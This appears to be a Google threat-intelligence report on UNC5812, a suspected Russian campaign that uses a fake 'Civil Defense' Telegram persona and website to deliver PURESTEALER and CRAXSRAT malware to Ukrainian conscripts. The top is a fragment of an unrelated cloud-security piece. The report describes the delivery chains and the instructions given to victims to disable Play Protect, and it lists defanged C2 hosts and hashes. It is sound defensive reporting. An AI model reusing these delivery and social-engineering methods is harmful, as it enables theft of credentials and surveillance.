   • Enhance the security of service principals by enabling risk detections in Microsoft Identity Protection. This can proactively block access when suspicious activities or risk factors are identified.
5. Proactively monitor service principal sign-ins: Proactively monitoring sign-ins from service principals can help detect anomalies and potential threats. Integrate this data into security operations to trigger alerts and enable rapid response to unauthorized access attempts.

Through numerous adversarial emulation engagements, Red Team Assessments, and Purple Team Assessments, Mandiant has gained an in-depth understanding of the unique paths attackers may take in compromising their target’s cloud estate. Review our Technical Assurance services and contact us for more information.

In September 2024, Google Threat Intelligence Group (consisting of Google’s Threat Analysis Group (TAG) and Mandiant) discovered UNC5812, a suspected Russian hybrid espionage and influence operation, delivering Windows and Android malware using a Telegram persona named "Civil Defense". "Civil Defense" claims to be a provider of free software programs designed to enable potential conscripts to view and share crowdsourced locations of Ukrainian military recruiters. If installed with Google Play Protect disabled, these programs deliver an operating system-specific commodity malware variant to the victim alongside a decoy mapping application we track as SUNSPINNER. In addition to using its Telegram channel and website for malware delivery, UNC5812 is also actively engaged in influence activity, delivering narratives and soliciting content intended to undermine support for Ukraine's mobilization efforts.

Figure 1: UNC5812’s "Civil Defense" persona

Targeting Users on Telegram

UNC5812’s malware delivery operations are conducted both via an actor-controlled Telegram channel @civildefense_com_ua and website hosted at civildefense[.]com.ua. The associated website was registered in April 2024, but the Telegram channel was not created until early September 2024, which we judge to be when UNC5812’s campaign became fully operational.  To drive potential victims towards these actor-controlled resources, we assess that UNC5812 is likely purchasing promoted posts in legitimate, established Ukrainian-language Telegram channels. 

• On September 18th 2024, a legitimate channel with over 80,000 subscribers dedicated to missile alerts was observed promoting the "Civil Defense" Telegram channel and website to its subscribers. 

• An additional Ukrainian-language news channel promoting Civil Defense’s posts as recently as October 8th, indicating the campaign is probably still actively seeking new Ukrainian-language communities for targeted engagement.

• Channels where "Civil Defense" posts have been promoted advertise the ability to reach out to their administrations for sponsorship opportunities. We suspect this is the likely vector that UNC5812 is using to approach the respective legitimate channels to increase the operation’s reach.

Figure 2: Civil Defense promoted in Ukrainian-language missile alert and news communities

The ultimate aim of the campaign is to have victims navigate to the UNC5812-controlled "Civil Defense" website, which advertises several different software programs for different operating systems. When installed, these programs result in the download of various commodity malware families. 

• For Windows users, the website delivers a downloader tracked publicly as Pronsis Loader that is written in PHP that is compiled into Java Virtual machine (JVM) bytecode using the open source JPHP project. When executed, Prosnis Loader initiates a convoluted malware delivery chain, ultimately delivering SUNSPINNER and a commodity information stealer commonly known as PURESTEALER. 

• For Android users, the malicious APK file attempts to install a variant of the commercially available Android backdoor CRAXSRAT. Different versions of this payload were observed, including a variant containing SUNSPINNER in addition to the CRAXSRAT payload. 

• While the Civil Defense website also advertises support for macOS and iPhones, only Windows and Android payloads were available at the time of analysis.

Figure 3: Download page, translated from Ukrainian

Notably, the Civil Defense website also contains an unconventional form of social engineering designed to preempt user suspicions about APK delivery outside of the App Store and justify the extensive permissions required for the CRAXSRAT installation. 

• The website’s FAQ contains a strained justification for the Android application being hosted outside the App Store, suggesting it is an effort to "protect the anonymity and security" of its users, and directing them to a set of accompanying video instructions. 

• The Ukrainian-language video instructions then guide victims on how to disable Google Play Protect, the service used to check applications for harmful functionality when they are installed on Android devices, as well as to manually enable all permissions once the malware is successfully installed.

Figure 4: Screenshots of video instructions to turn off Google Play Protect and manually enable CRAXSRAT permissions

Anti-Mobilization Influence Operation

In parallel to its efforts to deliver malware and gain access to the devices of potential military recruits, UNC5812 is also engaged in influence activity to undermine Ukraine's wider mobilization and military recruitment efforts. The group's Telegram channel is actively used to solicit visitors and subscribers to upload videos of "unfair actions from territorial recruitment centers," content that we judge likely to be intended for follow-on exposure to reinforce UNC5812's anti-mobilization narratives and discredit the Ukrainian military. Clicking on the "Send Material" (Ukrainian: Надіслати матеріал) button opens a chat thread with an attacker-controlled https://t[.]me/UAcivildefenseUA account.

• The Civil Defense website is also interspersed with Ukrainian-language anti-mobilization imagery and content, including a dedicated news section to highlight purported cases of unjust mobilization practices. 

• Anti-mobilization content cross-posted to the group's website and Telegram channel appears to be sourced from wider pro-Russian social media ecosystems. In at least one instance, a video shared by UNC5812 was shared a day later by the Russian Embassy on South Africa's X account.

Figure 5: UNC5812's Telegram and a Russian government X account sharing the same video in close proximity, highlighting their shared focus on anti-mobilization narratives

Malware Analysis

UNC5812 operates two unique malware delivery chains for Windows and Android devices that are delivered from the group's website hosted at civildefense[.]com[.]ua. Common between these distinct delivery chains is the parallel delivery of a decoy mapping application tracked as SUNSPINNER, which displays to users a map that renders purported locations of Ukrainian military recruits from an actor-controlled command-and-control (C2) server.

SUNSPINNER

SUNSPINNER (MD5: 4ca65a7efe2e4502e2031548ae588cb8) is a decoy graphical user interface (GUI) application written using the Flutter framework and compiled for both Windows and Android environments. When executed, SUNSPINNER attempts to resolve a new "backend server" hostname from http://h315225216.nichost[.]ru/itmo2020/Student/map_markers/mainurl.json, followed by a request for map markers from https://fu-laravel.onrender[.]com/api/markers that are then rendered on the app's GUI.

Consistent with the functionality advertised on the Civil Defense website, SUNSPINNER is capable of displaying crowdsourced markers with the locations of the Ukrainian military recruiters, with an option for users to add their own markers. However, despite possessing the limited functionality required for users to register and add markers, the displayed map does not appear to have any genuine user inputs. All markers present in the JSON file pulled from SUNSPINNER's C2 infrastructure were added on the same day by the same user.

Figure 6: Decoy application for monitoring the locations of Ukrainian military recruitment staff

Windows — Pronsis Loader to PURESTEALER

The Windows payload downloaded from the Civil Defense website, CivilDefense.exe (MD5: 7ef871a86d076dac67c2036d1bb24c39), is a custom build of Pronsis Loader, a recently discovered commodity malware being operated primarily by financially motivated threat actors. 

Pronsis Loader is used to retrieve both the decoy SUNSPINNER binary and a second-stage downloader "civildefensestarter.exe" (MD5: d36d303d2954cb4309d34c613747ce58), initiating a multi-stage delivery chain using a series self-extracting archives, which ultimately executes PURESTEALER on the victim device. The second-stage downloader is written in PHP and is compiled into Java Virtual machine (JVM) bytecode using the open-source JPHP project and then built as a Windows executable file. This file is automatically executed by the CivilDefense installer. 

The final payload is PURESTEALER (MD5: b3cf993d918c2c61c7138b4b8a98b6bf), a heavily obfuscated commodity infostealer written in .NET that is designed to steal browser data, such as passwords and cookies, cryptocurrency wallets, and from various other applications such as messaging and email clients. PURESTEALER is offered for sale by "Pure Coder Team" with prices ranging from $150 for a monthly subscription to $699 for a lifetime license.

Android — CraxsRAT

The Android Package (APK) file downloaded from the Civil Defense website "CivilDefensse.apk" (MD5: 31cdae71f21e1fad7581b5f305a9d185) is a variant of the commercially available Android backdoor CRAXSRAT. CRAXSRAT provides functionality typical of a standard Android backdoor, to include file management, SMS management, contact and credential harvesting, and a series of monitoring capabilities for location, audio, and keystrokes. Similar to PURESTEALER, it's also available for sale on underground forums.

The Android sample being distributed at the time of analysis only displayed a splash screen with the "Civil Defense" logo. However, an additional identified sample (MD5: aab597cdc5bc02f6c9d0d36ddeb7e624) was found to contain the same SUNSPINNER decoy application as in the Windows delivery chain. When opened, this version requests the Android REQUEST_INSTALL_PACKAGES permission from the user, which if granted, downloads the CRAXSRAT payload from http://h315225216.nichost[.]ru/itmo2020/Student/map_markers/CivilDefense.apk.

Figure 7: Error message displayed if the user doesn’t grant REQUEST_INSTALL_PACKAGES permission

Protecting Our Users

As part of our efforts to combat serious threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified websites, domains and files are added to Safe Browsing to protect users from further exploitation. 

Google also continuously monitors for Android spyware, and we deploy and constantly update protections in Google Play Protect, which offers users protection in and outside of Google Play, checking devices for potentially harmful apps regardless of the install source. Notably, UNC5812's Civil Defense website specifically included social engineering content and detailed video instructions on how the targeted user should turn off Google Play Protect and manually enable Android permissions required by CRAXSRAT in order to function. Safe Browsing also protects Chrome users on Android by showing them warnings before they visit dangerous sites. App scanning infrastructure protects Google Play and powers Verify Apps to additionally protect users who install apps from outside Google Play. 

We have also shared our findings with Ukraine's national authorities who have taken action to disrupt the campaign's reach by blocking resolution of the actor-controlled "Civil Defense" website nationally.

Summary

UNC5812's hybrid espionage and information operation against potential Ukrainian military recruits is part of a wider spike in operational interest from Russian threat actors following changes made to Ukraine's national mobilization laws in 2024. In particular, we have seen the targeting of potential military recruits rise in prominence following the launch of Ukraine's national digital military ID used to manage the details of those liable for military service and boost recruitment. Consistent with research from EUvsDisinfo, we also continue to observe persistent efforts by pro-Russia influence actors to promote messaging undermining Ukraine's mobilization drive and sowing public distrust in the officials carrying it out.

From a tradecraft perspective, UNC5812's campaign is highly characteristic of the emphasis Russia places on achieving cognitive effect via its cyber capabilities, and highlights the prominent role that messaging apps continue to play in malware delivery and other cyber dimensions of Russia's war in Ukraine. We judge that as long as Telegram continues to be a critical source of information during the war, it is almost certain to remain a primary vector for cyber-enabled activity for a range of Russian-linked espionage and influence activity. 

Indicators of Compromise

For a more comprehensive set of UNC5812 indicators of compromise, a Google Threat Intelligence Collection is available for registered users.

Indicators of Compromise

Context

civildefense[.]com[.]ua

UNC5812 landing page

t[.]me/civildefense_com_ua

UNC5812 Telegram channel

t[.]me/UAcivildefenseUA

UNC5812 Telegram account

e98ee33466a270edc47fdd9faf67d82e

SUNSPINNER decoy

h315225216.nichost[.]ru

Resolver used in SUNSPINNER decoy

fu-laravel.onrender[.]com

Hostname used in SUNSPINNER decoy

206.71.149[.]194

C2 used to resolve distribution URLs

185.169.107[.]44

Open directory used for malware distribution

d36d303d2954cb4309d34c613747ce58

Pronsis Loader dropper

b3cf993d918c2c61c7138b4b8a98b6bf

PURESTEALER

31cdae71f21e1fad7581b5f305a9d185

CRAXSRAT

aab597cdc5bc02f6c9d0d36ddeb7e624

CRAXSRAT w/ SUNSPINNER decoy